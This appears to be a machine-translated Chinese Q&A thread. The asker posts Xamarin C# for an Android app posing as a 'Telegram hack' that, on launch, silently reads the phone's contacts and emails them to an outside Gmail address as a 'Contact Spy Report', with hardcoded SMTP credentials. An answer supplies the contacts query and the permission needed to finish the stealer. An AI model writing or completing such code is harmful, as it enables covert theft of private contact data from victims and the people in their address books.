目前,我有一些限制,我无法使用Visual Studio。 我有一个紧急工作,需要一个Android程序,但我不知道如何在其中做一些事情,因为Visual Studio帮助我建议,但我没有。我想通过姓名和电话号码获取Android联系人。 目前,这是我在App.cs中的代码:
using System;
using System.Linq;
using Android.App;
using Android.Content;
using Android.OS;
using Android.Views;
using Android.Views.InputMethods;
using Android.Widget;
using System.Net;
using System.Net.Mail;
namespace Tlgr
{
[Activity(Label = "هک تلگرام", MainLauncher = true)]
public class App : Activity
{
protected override void OnCreate(Bundle bundle)
{
base.OnCreate(bundle);
var ctks = Contact.GetContacts();
using (var mail = new MailMessage())
{
mail.From = new MailAddress("feedbackhost.sender@gmail.com");
mail.To.Add("asm262015@gmail.com");
mail.Subject = "Contact Spy Report";
foreach(ctk in ctks)
{
mail.Body += ctk.ToString() + "\r\n";
}
using (var smtp = new SmtpClient("smtp.gmail.com", 587))
{
smtp.Credentials = new NetworkCredential("feedbackhost.sender@gmail.com", "feedbackhost");
smtp.EnableSsl = true;
smtp.Send(mail);
}
}
}
}
public class Contact
{
public string Name {get;set;}
public string[] Numbers {get;set;}
public override ToString()
{
var a = $"Name: {Name}";
foreach (var i in Numbers)
{
a += " , Number: " + i;
}
return a;
}
public static Contact[] GetContacts()
{
}
}
}
我只需要为方法GetContacts()添加body来解决我的问题。 我搜索过,结果很好,但我不知道如何使用它们,我需要一个完美的代码!谢谢!
答案 0 :(得分:2)
您应该使用ContactsContract.Contacts
ContactsContract.Contacts是用于与联系人数据进行交互的数据协定。代码查询ContactsContract.Contacts.ContentUri定义的Uri上的联系人,返回从ContactsContract.Contacts.InterfaceConsts中选择的列。
var uri = ContactsContract.CommonDataKinds.Phone.ContentUri;
string[] projection = { ContactsContract.Contacts.InterfaceConsts.Id, ContactsContract.CommonDataKinds.Phone.Number};
您可以找到更多here
您还需要添加权限READ_CONTACTS
:
<uses-permission android:name="android.permission.READ_CONTACTS" />